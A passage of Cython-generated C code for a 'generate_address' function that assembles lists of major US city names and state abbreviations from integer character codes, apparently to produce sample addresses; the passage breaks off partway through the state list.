  PyObject *__pyx_v_states = NULL;
  PyObject *__pyx_v_streets = NULL;
  PyObject *__pyx_v_zip_codes = NULL;
  PyObject *__pyx_v_city = NULL;
  PyObject *__pyx_v_state = NULL;
  PyObject *__pyx_v_street_address = NULL;
  PyObject *__pyx_v_zip_code = NULL;
  PyObject *__pyx_r = NULL;
  __Pyx_RefNannyDeclarations
  PyObject *__pyx_t_1 = NULL;
  PyObject *__pyx_t_2 = NULL;
  PyObject *__pyx_t_3 = NULL;
  PyObject *__pyx_t_4 = NULL;
  PyObject *__pyx_t_5 = NULL;
  PyObject *__pyx_t_6 = NULL;
  PyObject *__pyx_t_7 = NULL;
  PyObject *__pyx_t_8 = NULL;
  PyObject *__pyx_t_9 = NULL;
  PyObject *__pyx_t_10 = NULL;
  PyObject *__pyx_t_11 = NULL;
  int __pyx_lineno = 0;
  const char *__pyx_filename = NULL;
  int __pyx_clineno = 0;
  __Pyx_RefNannySetupContext("generate_address", 0);

  
  __pyx_t_1 = PyList_New(8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 335, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __Pyx_INCREF(__pyx_int_78);
  __Pyx_GIVEREF(__pyx_int_78);
  PyList_SET_ITEM(__pyx_t_1, 0, __pyx_int_78);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_1, 1, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_119);
  __Pyx_GIVEREF(__pyx_int_119);
  PyList_SET_ITEM(__pyx_t_1, 2, __pyx_int_119);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_1, 3, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_89);
  __Pyx_GIVEREF(__pyx_int_89);
  PyList_SET_ITEM(__pyx_t_1, 4, __pyx_int_89);
  __Pyx_INCREF(__pyx_int_111);
  __Pyx_GIVEREF(__pyx_int_111);
  PyList_SET_ITEM(__pyx_t_1, 5, __pyx_int_111);
  __Pyx_INCREF(__pyx_int_114);
  __Pyx_GIVEREF(__pyx_int_114);
  PyList_SET_ITEM(__pyx_t_1, 6, __pyx_int_114);
  __Pyx_INCREF(__pyx_int_107);
  __Pyx_GIVEREF(__pyx_int_107);
  PyList_SET_ITEM(__pyx_t_1, 7, __pyx_int_107);
  __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 335, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  __pyx_t_1 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 335, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

  
  __pyx_t_2 = PyList_New(11); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 336, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_INCREF(__pyx_int_76);
  __Pyx_GIVEREF(__pyx_int_76);
  PyList_SET_ITEM(__pyx_t_2, 0, __pyx_int_76);
  __Pyx_INCREF(__pyx_int_111);
  __Pyx_GIVEREF(__pyx_int_111);
  PyList_SET_ITEM(__pyx_t_2, 1, __pyx_int_111);
  __Pyx_INCREF(__pyx_int_115);
  __Pyx_GIVEREF(__pyx_int_115);
  PyList_SET_ITEM(__pyx_t_2, 2, __pyx_int_115);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_2, 3, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_65);
  __Pyx_GIVEREF(__pyx_int_65);
  PyList_SET_ITEM(__pyx_t_2, 4, __pyx_int_65);
  __Pyx_INCREF(__pyx_int_110);
  __Pyx_GIVEREF(__pyx_int_110);
  PyList_SET_ITEM(__pyx_t_2, 5, __pyx_int_110);
  __Pyx_INCREF(__pyx_int_103);
  __Pyx_GIVEREF(__pyx_int_103);
  PyList_SET_ITEM(__pyx_t_2, 6, __pyx_int_103);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_2, 7, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_108);
  __Pyx_GIVEREF(__pyx_int_108);
  PyList_SET_ITEM(__pyx_t_2, 8, __pyx_int_108);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_2, 9, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_115);
  __Pyx_GIVEREF(__pyx_int_115);
  PyList_SET_ITEM(__pyx_t_2, 10, __pyx_int_115);
  __pyx_t_3 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 336, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __pyx_t_2 = __Pyx_decode_bytes(__pyx_t_3, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 336, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;

  
  __pyx_t_3 = PyList_New(7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 337, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __Pyx_INCREF(__pyx_int_67);
  __Pyx_GIVEREF(__pyx_int_67);
  PyList_SET_ITEM(__pyx_t_3, 0, __pyx_int_67);
  __Pyx_INCREF(__pyx_int_104);
  __Pyx_GIVEREF(__pyx_int_104);
  PyList_SET_ITEM(__pyx_t_3, 1, __pyx_int_104);
  __Pyx_INCREF(__pyx_int_105);
  __Pyx_GIVEREF(__pyx_int_105);
  PyList_SET_ITEM(__pyx_t_3, 2, __pyx_int_105);
  __Pyx_INCREF(__pyx_int_99);
  __Pyx_GIVEREF(__pyx_int_99);
  PyList_SET_ITEM(__pyx_t_3, 3, __pyx_int_99);
  __Pyx_INCREF(__pyx_int_97);
  __Pyx_GIVEREF(__pyx_int_97);
  PyList_SET_ITEM(__pyx_t_3, 4, __pyx_int_97);
  __Pyx_INCREF(__pyx_int_103);
  __Pyx_GIVEREF(__pyx_int_103);
  PyList_SET_ITEM(__pyx_t_3, 5, __pyx_int_103);
  __Pyx_INCREF(__pyx_int_111);
  __Pyx_GIVEREF(__pyx_int_111);
  PyList_SET_ITEM(__pyx_t_3, 6, __pyx_int_111);
  __pyx_t_4 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 337, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_4);
  __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;
  __pyx_t_3 = __Pyx_decode_bytes(__pyx_t_4, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 337, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;

  
  __pyx_t_4 = PyList_New(7); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 338, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_4);
  __Pyx_INCREF(__pyx_int_72);
  __Pyx_GIVEREF(__pyx_int_72);
  PyList_SET_ITEM(__pyx_t_4, 0, __pyx_int_72);
  __Pyx_INCREF(__pyx_int_111);
  __Pyx_GIVEREF(__pyx_int_111);
  PyList_SET_ITEM(__pyx_t_4, 1, __pyx_int_111);
  __Pyx_INCREF(__pyx_int_117);
  __Pyx_GIVEREF(__pyx_int_117);
  PyList_SET_ITEM(__pyx_t_4, 2, __pyx_int_117);
  __Pyx_INCREF(__pyx_int_115);
  __Pyx_GIVEREF(__pyx_int_115);
  PyList_SET_ITEM(__pyx_t_4, 3, __pyx_int_115);
  __Pyx_INCREF(__pyx_int_116);
  __Pyx_GIVEREF(__pyx_int_116);
  PyList_SET_ITEM(__pyx_t_4, 4, __pyx_int_116);
  __Pyx_INCREF(__pyx_int_111);
  __Pyx_GIVEREF(__pyx_int_111);
  PyList_SET_ITEM(__pyx_t_4, 5, __pyx_int_111);
  __Pyx_INCREF(__pyx_int_110);
  __Pyx_GIVEREF(__pyx_int_110);
  PyList_SET_ITEM(__pyx_t_4, 6, __pyx_int_110);
  __pyx_t_5 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 338, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  __pyx_t_4 = __Pyx_decode_bytes(__pyx_t_5, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 338, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_4);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 339, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_80);
  __Pyx_GIVEREF(__pyx_int_80);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_80);
  __Pyx_INCREF(__pyx_int_104);
  __Pyx_GIVEREF(__pyx_int_104);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_104);
  __Pyx_INCREF(__pyx_int_111);
  __Pyx_GIVEREF(__pyx_int_111);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_111);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_110);
  __Pyx_GIVEREF(__pyx_int_110);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_110);
  __Pyx_INCREF(__pyx_int_105);
  __Pyx_GIVEREF(__pyx_int_105);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_105);
  __Pyx_INCREF(__pyx_int_120);
  __Pyx_GIVEREF(__pyx_int_120);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_120);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 339, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 339, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;

  
  __pyx_t_6 = PyList_New(12); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 340, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_INCREF(__pyx_int_80);
  __Pyx_GIVEREF(__pyx_int_80);
  PyList_SET_ITEM(__pyx_t_6, 0, __pyx_int_80);
  __Pyx_INCREF(__pyx_int_104);
  __Pyx_GIVEREF(__pyx_int_104);
  PyList_SET_ITEM(__pyx_t_6, 1, __pyx_int_104);
  __Pyx_INCREF(__pyx_int_105);
  __Pyx_GIVEREF(__pyx_int_105);
  PyList_SET_ITEM(__pyx_t_6, 2, __pyx_int_105);
  __Pyx_INCREF(__pyx_int_108);
  __Pyx_GIVEREF(__pyx_int_108);
  PyList_SET_ITEM(__pyx_t_6, 3, __pyx_int_108);
  __Pyx_INCREF(__pyx_int_97);
  __Pyx_GIVEREF(__pyx_int_97);
  PyList_SET_ITEM(__pyx_t_6, 4, __pyx_int_97);
  __Pyx_INCREF(__pyx_int_100);
  __Pyx_GIVEREF(__pyx_int_100);
  PyList_SET_ITEM(__pyx_t_6, 5, __pyx_int_100);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_6, 6, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_108);
  __Pyx_GIVEREF(__pyx_int_108);
  PyList_SET_ITEM(__pyx_t_6, 7, __pyx_int_108);
  __Pyx_INCREF(__pyx_int_112);
  __Pyx_GIVEREF(__pyx_int_112);
  PyList_SET_ITEM(__pyx_t_6, 8, __pyx_int_112);
  __Pyx_INCREF(__pyx_int_104);
  __Pyx_GIVEREF(__pyx_int_104);
  PyList_SET_ITEM(__pyx_t_6, 9, __pyx_int_104);
  __Pyx_INCREF(__pyx_int_105);
  __Pyx_GIVEREF(__pyx_int_105);
  PyList_SET_ITEM(__pyx_t_6, 10, __pyx_int_105);
  __Pyx_INCREF(__pyx_int_97);
  __Pyx_GIVEREF(__pyx_int_97);
  PyList_SET_ITEM(__pyx_t_6, 11, __pyx_int_97);
  __pyx_t_7 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 340, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_7);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  __pyx_t_6 = __Pyx_decode_bytes(__pyx_t_7, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 340, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;

  
  __pyx_t_7 = PyList_New(11); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 341, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_7);
  __Pyx_INCREF(__pyx_int_83);
  __Pyx_GIVEREF(__pyx_int_83);
  PyList_SET_ITEM(__pyx_t_7, 0, __pyx_int_83);
  __Pyx_INCREF(__pyx_int_97);
  __Pyx_GIVEREF(__pyx_int_97);
  PyList_SET_ITEM(__pyx_t_7, 1, __pyx_int_97);
  __Pyx_INCREF(__pyx_int_110);
  __Pyx_GIVEREF(__pyx_int_110);
  PyList_SET_ITEM(__pyx_t_7, 2, __pyx_int_110);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_7, 3, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_65);
  __Pyx_GIVEREF(__pyx_int_65);
  PyList_SET_ITEM(__pyx_t_7, 4, __pyx_int_65);
  __Pyx_INCREF(__pyx_int_110);
  __Pyx_GIVEREF(__pyx_int_110);
  PyList_SET_ITEM(__pyx_t_7, 5, __pyx_int_110);
  __Pyx_INCREF(__pyx_int_116);
  __Pyx_GIVEREF(__pyx_int_116);
  PyList_SET_ITEM(__pyx_t_7, 6, __pyx_int_116);
  __Pyx_INCREF(__pyx_int_111);
  __Pyx_GIVEREF(__pyx_int_111);
  PyList_SET_ITEM(__pyx_t_7, 7, __pyx_int_111);
  __Pyx_INCREF(__pyx_int_110);
  __Pyx_GIVEREF(__pyx_int_110);
  PyList_SET_ITEM(__pyx_t_7, 8, __pyx_int_110);
  __Pyx_INCREF(__pyx_int_105);
  __Pyx_GIVEREF(__pyx_int_105);
  PyList_SET_ITEM(__pyx_t_7, 9, __pyx_int_105);
  __Pyx_INCREF(__pyx_int_111);
  __Pyx_GIVEREF(__pyx_int_111);
  PyList_SET_ITEM(__pyx_t_7, 10, __pyx_int_111);
  __pyx_t_8 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_7); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 341, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_8);
  __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  __pyx_t_7 = __Pyx_decode_bytes(__pyx_t_8, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 341, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_7);
  __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;

  
  __pyx_t_8 = PyList_New(9); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 342, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_8);
  __Pyx_INCREF(__pyx_int_83);
  __Pyx_GIVEREF(__pyx_int_83);
  PyList_SET_ITEM(__pyx_t_8, 0, __pyx_int_83);
  __Pyx_INCREF(__pyx_int_97);
  __Pyx_GIVEREF(__pyx_int_97);
  PyList_SET_ITEM(__pyx_t_8, 1, __pyx_int_97);
  __Pyx_INCREF(__pyx_int_110);
  __Pyx_GIVEREF(__pyx_int_110);
  PyList_SET_ITEM(__pyx_t_8, 2, __pyx_int_110);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_8, 3, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_68);
  __Pyx_GIVEREF(__pyx_int_68);
  PyList_SET_ITEM(__pyx_t_8, 4, __pyx_int_68);
  __Pyx_INCREF(__pyx_int_105);
  __Pyx_GIVEREF(__pyx_int_105);
  PyList_SET_ITEM(__pyx_t_8, 5, __pyx_int_105);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_8, 6, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_103);
  __Pyx_GIVEREF(__pyx_int_103);
  PyList_SET_ITEM(__pyx_t_8, 7, __pyx_int_103);
  __Pyx_INCREF(__pyx_int_111);
  __Pyx_GIVEREF(__pyx_int_111);
  PyList_SET_ITEM(__pyx_t_8, 8, __pyx_int_111);
  __pyx_t_9 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_8); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 342, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_9);
  __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;
  __pyx_t_8 = __Pyx_decode_bytes(__pyx_t_9, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 342, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_8);
  __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;

  
  __pyx_t_9 = PyList_New(6); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 343, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_9);
  __Pyx_INCREF(__pyx_int_68);
  __Pyx_GIVEREF(__pyx_int_68);
  PyList_SET_ITEM(__pyx_t_9, 0, __pyx_int_68);
  __Pyx_INCREF(__pyx_int_97);
  __Pyx_GIVEREF(__pyx_int_97);
  PyList_SET_ITEM(__pyx_t_9, 1, __pyx_int_97);
  __Pyx_INCREF(__pyx_int_108);
  __Pyx_GIVEREF(__pyx_int_108);
  PyList_SET_ITEM(__pyx_t_9, 2, __pyx_int_108);
  __Pyx_INCREF(__pyx_int_108);
  __Pyx_GIVEREF(__pyx_int_108);
  PyList_SET_ITEM(__pyx_t_9, 3, __pyx_int_108);
  __Pyx_INCREF(__pyx_int_97);
  __Pyx_GIVEREF(__pyx_int_97);
  PyList_SET_ITEM(__pyx_t_9, 4, __pyx_int_97);
  __Pyx_INCREF(__pyx_int_115);
  __Pyx_GIVEREF(__pyx_int_115);
  PyList_SET_ITEM(__pyx_t_9, 5, __pyx_int_115);
  __pyx_t_10 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_9); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 343, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
  __pyx_t_9 = __Pyx_decode_bytes(__pyx_t_10, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 343, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_9);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

  
  __pyx_t_10 = PyList_New(8); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 344, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_INCREF(__pyx_int_83);
  __Pyx_GIVEREF(__pyx_int_83);
  PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_83);
  __Pyx_INCREF(__pyx_int_97);
  __Pyx_GIVEREF(__pyx_int_97);
  PyList_SET_ITEM(__pyx_t_10, 1, __pyx_int_97);
  __Pyx_INCREF(__pyx_int_110);
  __Pyx_GIVEREF(__pyx_int_110);
  PyList_SET_ITEM(__pyx_t_10, 2, __pyx_int_110);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_10, 3, __pyx_int_32);
  __Pyx_INCREF(__pyx_int_74);
  __Pyx_GIVEREF(__pyx_int_74);
  PyList_SET_ITEM(__pyx_t_10, 4, __pyx_int_74);
  __Pyx_INCREF(__pyx_int_111);
  __Pyx_GIVEREF(__pyx_int_111);
  PyList_SET_ITEM(__pyx_t_10, 5, __pyx_int_111);
  __Pyx_INCREF(__pyx_int_115);
  __Pyx_GIVEREF(__pyx_int_115);
  PyList_SET_ITEM(__pyx_t_10, 6, __pyx_int_115);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_10, 7, __pyx_int_101);
  __pyx_t_11 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 344, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_11);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_11, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 344, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0;

  
  __pyx_t_11 = PyList_New(10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 334, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_11);
  __Pyx_GIVEREF(__pyx_t_1);
  PyList_SET_ITEM(__pyx_t_11, 0, __pyx_t_1);
  __Pyx_GIVEREF(__pyx_t_2);
  PyList_SET_ITEM(__pyx_t_11, 1, __pyx_t_2);
  __Pyx_GIVEREF(__pyx_t_3);
  PyList_SET_ITEM(__pyx_t_11, 2, __pyx_t_3);
  __Pyx_GIVEREF(__pyx_t_4);
  PyList_SET_ITEM(__pyx_t_11, 3, __pyx_t_4);
  __Pyx_GIVEREF(__pyx_t_5);
  PyList_SET_ITEM(__pyx_t_11, 4, __pyx_t_5);
  __Pyx_GIVEREF(__pyx_t_6);
  PyList_SET_ITEM(__pyx_t_11, 5, __pyx_t_6);
  __Pyx_GIVEREF(__pyx_t_7);
  PyList_SET_ITEM(__pyx_t_11, 6, __pyx_t_7);
  __Pyx_GIVEREF(__pyx_t_8);
  PyList_SET_ITEM(__pyx_t_11, 7, __pyx_t_8);
  __Pyx_GIVEREF(__pyx_t_9);
  PyList_SET_ITEM(__pyx_t_11, 8, __pyx_t_9);
  __Pyx_GIVEREF(__pyx_t_10);
  PyList_SET_ITEM(__pyx_t_11, 9, __pyx_t_10);
  __pyx_t_1 = 0;
  __pyx_t_2 = 0;
  __pyx_t_3 = 0;
  __pyx_t_4 = 0;
  __pyx_t_5 = 0;
  __pyx_t_6 = 0;
  __pyx_t_7 = 0;
  __pyx_t_8 = 0;
  __pyx_t_9 = 0;
  __pyx_t_10 = 0;
  __pyx_v_cities = ((PyObject*)__pyx_t_11);
  __pyx_t_11 = 0;

  
  __pyx_t_11 = PyList_New(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 345, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_11);
  __Pyx_INCREF(__pyx_int_78);
  __Pyx_GIVEREF(__pyx_int_78);
  PyList_SET_ITEM(__pyx_t_11, 0, __pyx_int_78);
  __Pyx_INCREF(__pyx_int_89);
  __Pyx_GIVEREF(__pyx_int_89);
  PyList_SET_ITEM(__pyx_t_11, 1, __pyx_int_89);
  __pyx_t_10 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_11); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 345, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0;
  __pyx_t_11 = __Pyx_decode_bytes(__pyx_t_10, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 345, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_11);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  __pyx_t_10 = PyList_New(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 345, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_INCREF(__pyx_int_67);
  __Pyx_GIVEREF(__pyx_int_67);
  PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_67);
  __Pyx_INCREF(__pyx_int_65);
  __Pyx_GIVEREF(__pyx_int_65);
  PyList_SET_ITEM(__pyx_t_10, 1, __pyx_int_65);
  __pyx_t_9 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 345, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_9);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_9, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 345, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
  __pyx_t_9 = PyList_New(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 345, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_9);
  __Pyx_INCREF(__pyx_int_73);
  __Pyx_GIVEREF(__pyx_int_73);
  PyList_SET_ITEM(__pyx_t_9, 0, __pyx_int_73);
  __Pyx_INCREF(__pyx_int_76);
  __Pyx_GIVEREF(__pyx_int_76);
  PyList_SET_ITEM(__pyx_t_9, 1, __pyx_int_76);
  __pyx_t_8 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_9); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 345, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_8);
  __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
  __pyx_t_9 = __Pyx_decode_bytes(__pyx_t_8, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 345, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_9);
  __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;
  __pyx_t_8 = PyList_New(2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 345, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_8);
  __Pyx_INCREF(__pyx_int_84);
  __Pyx_GIVEREF(__pyx_int_84);
  PyList_SET_ITEM(__pyx_t_8, 0, __pyx_int_84);
  __Pyx_INCREF(__pyx_int_88);
  __Pyx_GIVEREF(__pyx_int_88);
  PyList_SET_ITEM(__pyx_t_8, 1, __pyx_int_88);
  __pyx_t_7 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 345, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_7);
  __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;
  __pyx_t_8 = __Pyx_decode_bytes(__pyx_t_7, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 345, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_8);
  __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  __pyx_t_7 = PyList_New(2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 345, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_7);
  __Pyx_INCREF(__pyx_int_65);
  __Pyx_GIVEREF(__pyx_int_65);
  PyList_SET_ITEM(__pyx_t_7, 0, __pyx_int_65);
  __Pyx_INCREF(__pyx_int_90);
  __Pyx_GIVEREF(__pyx_int_90);
  PyList_SET_ITEM(__pyx_t_7, 1, __pyx_int_90);
